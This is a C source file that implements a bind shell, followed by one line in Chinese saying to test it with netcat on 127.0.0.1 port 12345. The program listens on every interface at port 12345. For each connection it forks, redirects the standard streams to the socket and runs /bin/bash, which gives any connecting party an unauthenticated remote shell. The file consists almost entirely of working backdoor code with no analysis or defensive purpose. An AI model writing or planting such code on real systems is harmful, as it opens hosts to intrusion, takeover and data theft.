#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#define SA struct sockaddr
#define err(msg) perror(msg)
static int tcp_listen(const char *ip, int port)
{
struct sockaddr_in addr;
int fd;
int on = 1;
if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
err("socket");
goto out;
}
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
memset(&addr, '\0', sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &addr.sin_addr) <= 0)
{
err("inet_pton");
goto err;
}
if (bind(fd, (SA *)&addr, sizeof(addr)) == -1)
{
err("bind");
goto err;
}
if (listen(fd, 1024) == -1)
{
err("listen");
goto err;
}
return fd;
err:
close(fd);
out:
return -1;
}
static void handle_connect(int connfd)
{
char *shell[2];
pid_t pid;
int i;
char *envp[10];
for (i = 0; i < 10; i++)
envp[i] = NULL;
if ((pid = fork()) == 0)
{
if (dup2(connfd, STDIN_FILENO) == -1)
perror("dup2");
if (dup2(connfd, STDOUT_FILENO) == -1)
perror("dup2");
if (dup2(connfd, STDERR_FILENO) == -1)
perror("dup2");
execl("/bin/bash", "/bin/bash", 0);
}
else if (pid > 0)
close(connfd);
}
static void start_loop(int fd)
{
int connfd;
for (;;)
{
if ((connfd = accept(fd, NULL, NULL)) == -1)
{
err("accept");
continue;
}
handle_connect(connfd);
}
}
int main(int argc, char **argv)
{
int fd;
if ((fd = tcp_listen("0.0.0.0", 12345)) == -1)
{
err("tcp_listen");
goto out;
}
start_loop(fd);
close(fd);
return 0;
out:
return -1;
}
使用netcat 127.0.0.1 12345进行测试
|